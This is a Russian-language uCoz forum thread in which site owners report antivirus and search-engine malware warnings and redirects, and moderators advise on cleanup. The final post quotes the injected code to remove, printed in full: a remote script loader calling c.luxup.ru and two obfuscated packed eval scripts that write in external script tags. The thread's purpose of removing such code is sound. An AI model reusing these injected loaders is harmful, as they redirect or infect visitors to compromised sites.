Модератор форума: Yuri_G |
Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (предотвращение, диагностика) |
Вирусы на сайтах |
Как предотвратить попадание вредоносных ссылок на сайт
Диагностика
Правила подачи заявки на диагностику и поиск вредоносного кода на сайте
Полезные ссылки: Так как большинство случаев заражения сайтов является плодом неумелого обращения с готовыми скриптами, а так же с готовыми элементами дизайна для сайтов найденными в сети, то перед тем как внедрить на сайт найденный в сети скрипт стоит ознакомиться со следующими темами:
|
Здравствуйте, проверьте, пожалуйста, мой сайт http://www.lubimoe-rukodelie.com/forum/
проблема обнаруживается и под логином, и под гостем тоже пыталась загружать через браузеры: Opera и Yandex Yandex при загрузке сайта появляется сообщение: Сайт www.lubimoe-rukodelie.com может угрожать безопасности вашего компьютера. По нашим данным, на страницах сайта был размещён вредоносный программный код. Это могло произойти как по желанию владельцев сайта, так и без их ведома — в результате действий злоумышленников. Opera - Этот сайт занесен в черный список как подозрительный или мошеннический |
ирина28, вы очищали сайт или предпринимали какие-либо действия для исправления проблемы?
уберите с сайта ссылку на ваших друзей и спонсоров |
ирина28, какие ссылки вы убрали?
|
ирина28, теперь удалите из блока наши друзья и спонсоры последнюю ссылку на МА-КО Dimensions и отправьте сайт на пересмотр через вебмастер
|
на вебмастере приняли заявку на проверку:
07.08.2014 оставлена заявка на проверку сайта, она займет несколько дней. также там висит сообщение: Дата последней проверкиСтраницаВердикт02.08.2014http://www.lubimoe-rukodelie.com/Troj/JSRedir-NG |
Здравствуйте! Помогите пожалуйста! Мой сайт http://dengibydyt.ucoz.ru. При переходе с поисковиков или по внутренним ссылкам происходит редирект на страницуhttp://mobi-mall.club/?action=NEW&statusCode=3&hash=08dd537660ded98646f9851911b0ff1a Сайт 2ip показал, что "на сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код". Как его удалить, помогите пожалуйста?! 1) сайт http://dengibydyt.ucoz.ru 2) проблема обнаруживается только под гостем (под логином не обнаруживается, так как редирект работает только при первом клике на сайте) 3) антивирус не реагирует 4) браузер не блокирует Добавлено (07 Авг 2014, 23:03:30) |
Ничего не понимаю... Опять при загрузке сайта всплывает предупреждение:...
Сайт www.lubimoe-rukodelie.com может угрожать безопасности вашего компьютера.По нашим данным, на страницах сайта был размещён вредоносный программный код. Это могло произойти как по желанию владельцев сайта, так и без их ведома — в результате действий злоумышленников.Более подробную информацию об угрозе или безопасную копию сайта можно посмотреть на (ссылка) Помогите, пожалуйста, решить проблему... |
ирина28, вам надо написать в тех.поддержку яндекса и описать ситуацию. зайдите в вебмастер и напишите им
|
fil0649, ваш сайт не находится в системе юкоз. за помощью по своему вопросу обратитесь к вашему хостеру
|
Добрый день! 12.08.2014 г. пришло сообщение такого плана в яндекс вебмастере :
На страницах сайта diminex.ru обнаружен код, который может быть опасен для посетителей. Выполнение этого кода может привести к заражению компьютера опасными программами, использованию его без ведома пользователя, порче или краже данных. В настоящий момент сайт выводится в результатах поиска с пометкой «Этот сайт может угрожать безопасности вашего компьютера». Яндекс никак не оценивает содержание сайта и предупреждает пользователей о том, что сайт мог быть заражен без ведома его владельцев. Пожалуйста, удалите вредоносный код. Если при новой проверке код не будет обнаружен, пометка в результатах поиска будет снята. Для того чтобы снять пометку как можно быстрее, сразу после удаления кода вы можете запросить перепроверку сайта. Результат выборочной проверки Дата последней проверки Страница http://diminex.ru/load/proekty/proekty_kottedzhej/57 Вердикт поведенческий анализ От Гугла пришло сообщение такого плана: Google не удалось получить доступ к сайту из-за ошибки DNS Жду ответа. С уважением |
Dima2335, удалите это
Код <script type="text/javascript">(function(){var j=27740,f=false,b=document,c=b.documentElement,e=window;function g(){var a="";a+="rt="+(new Date).getTime()%1E7*100+Math.round(Math.random()*99);a+=b.referrer?"&r="+escape(b.referrer):"";return a}function h(){var a=b.getElementsByTagName("head")[0];if(a)return a;for(a=c.firstChild;a&&a.nodeName.toLowerCase()=="#text";)a=a.nextSibling;if(a&&a.nodeName.toLowerCase()!="#text")return a;a=b.createElement("head");c.appendChild(a);return a}function i(){var a=b.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://c.luxup.ru/t/lb"+j+".js?"+g());typeof a!="undefined"&&h().appendChild(a)}function d(){if(!f){f=true;i()}};if(b.addEventListener)b.addEventListener("DOMContentLoaded",d,false);else if(b.attachEvent){c.doScroll&&e==e.top&&function(){try{c.doScroll("left")}catch(a){setTimeout(arguments.callee,0);return}d()}();b.attachEvent("onreadystatechange",function(){b.readyState==="complete"&&d()})}else e.onload=d})();</script> <script type='text/javascript' language='javascript'> <!-- eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1=\'b://a\'+\'d\'+\'s\'+\'i\'+\'e.9\'+\'g\'+\'8.4/3/?5=6\';7.f("<n"+"0 h"+"p"+"u=\'q"+"r"+"2\' t"+"v=\'t"+"o/j"+"k"+"0\' l"+"c=\'"+1+"\'></m"+"2>");',32,32,'ript|xt526|ipt|pnrpEK1957|net|sid|116296|document|hka|okos|di|http||mu|k2010|write|hec|la||jav|asc|sr|scr|sc|ext|ngua|ja|vascr|||ge |ype'.split('|'),0,{})) // --> </script><script type='text/javascript' language='javascript'> <!-- eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2=\'b://a\'+\'d.\'+\'e\'+\'s\'+\'9\'+\'g\'+\'.8/3/?4=5\';6.7("<f"+"0 m"+"h"+"o=\'p"+"q"+"1\' t"+"r=\'t"+"n/i"+"j"+"0\' k"+"c=\'"+2+"\'></l"+"1>");',30,30,'ript|ipt|BI957|cxnOYg2199|sid|116296|document|write|net|hech|dimusik|http||2010|oko|sc|ka|ngua|jav|asc|sr|scr|la|ext|ge|ja|vascr|yp e||'.split('|'),0,{})) // --> |
| |||